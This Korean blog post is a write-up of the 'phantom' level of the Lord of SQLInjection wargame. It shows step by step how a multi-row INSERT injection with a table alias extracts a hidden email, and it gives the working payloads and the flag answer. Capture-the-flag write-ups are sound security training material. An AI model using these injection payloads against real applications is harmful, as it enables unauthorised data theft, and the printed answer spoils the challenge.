이번 포스트에서는 Lord of SQLInjection의 phantom문제에 대해 다루겠다.
문제를 클릭하면 다음과 같이 쿼리와 php코드가 표시된 화면을 볼 수 있다.
## 문제 해석 :
해당 문제는 preg_match() 함수를 통해 duplicate를 필터링하고 있다는 것을 알 수 있다.
또한 no=1의 email값을 알아야 문제를 해결할 수 있는 것으로 보인다.
## 문제 풀이 :
일단 joinmail 파라미터에 아무 값을 넣어서 결과를 확인해보겠다.
### 사용할 공격문 : joinmail=haha
### 실행 결과 :
테이블에 no=0, ip, 'haha'가 새로 삽입된 것을 확인할 수 있다.
insert문은 별도의 필터링이 없다면 여러 열을 삽입할 수 있는 취약점이 존재한다.
해당 취약점을 활용하여 공격해보겠다.
### 사용할 공격문 : joinmail=haha'), (0, 'ip', (select email from prob_phantom where no = 1)) %23
### 실행 결과 :
아무런 반응이 일어나지 않았다.
검색해본 결과 mysql은 쿼리문 내에서 같은 테이블을 참조할 때 오류가 생긴다고 한다.
따하서 as문을 이용하여 테이블에 별칭을 추가한 다음에 공격을 시도해보겠다.
### 사용할 공격문 : joinmail=haha'), (0,'ip',(select email from prob_phantom as a where no=1)) %23
### 실행 결과 :
### 최종 공격문 : email=admin_secure_email@rubiya.kr
### 실행 결과 :
## 추가 해석 :
쿼리문 : joinmail=haha'), (0,'ip',(select email from prob_phantom as a where no=1)) %23
as문을 활용하여 prob_phantom을 a로 치환한 다음에 공격을 시도한다.
'Wargame > Lord of SQLInjection' 카테고리의 다른 글
Lord of SQLInjection (31. zombie) (0) | 2022.09.09 |
---|---|
Lord of SQLInjection (30. ouroboros) (0) | 2022.06.29 |
Lord of SQLInjection (28. frankenstein) (0) | 2022.06.23 |
Lord of SQLInjection (27. blue_dragon) (0) | 2022.06.21 |
Lord of SQLInjection (26. red_dragon) (0) | 2022.06.20 |